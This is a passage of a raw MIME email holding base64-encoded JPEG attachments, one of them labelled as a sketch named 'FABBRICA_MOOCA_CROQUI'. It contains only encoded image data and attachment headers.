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 ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA_MOOCA_CROQUI" Content-Transfer-Encoding: base64 Content-ID: <180FB1F6FDB5425D9F3CC39D1EA44DBA@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAHuA8gDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDi/Guq yzva6W4EawRg7ByEz0HPtVzwLbhpb0y38tram2fzzG5+dF5C1g+IcnxHexC4jufIneMyoTtODjIz 24NQ3+tQadp6aetxtFxKsM4UkEBvp7VTioxSNEruyK134y8NW3htdGvfAtvLfaoZYnvZpN8gLscM AOAQCKy1sWt4I4rjVJXwoHysFyQMVJ4tvPCNxbRWmmmQXdtco6uyMw2Dqvt2NUbfUNMufMbUtWuU YgKjCJVBOOmMZFQ5R2sdNOhOOilYnFtYxnzZIjIe/mMWFWLW7t4QEtCoydwSFNx/JRWDeXVopi+w OSFyJN6byxPQ4NTWN3eJItwBdqsBDKXAjDZ+nWtE5dBSpxXxSNq31WO6kmjifDW7+XIrgqVJ6Vag +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 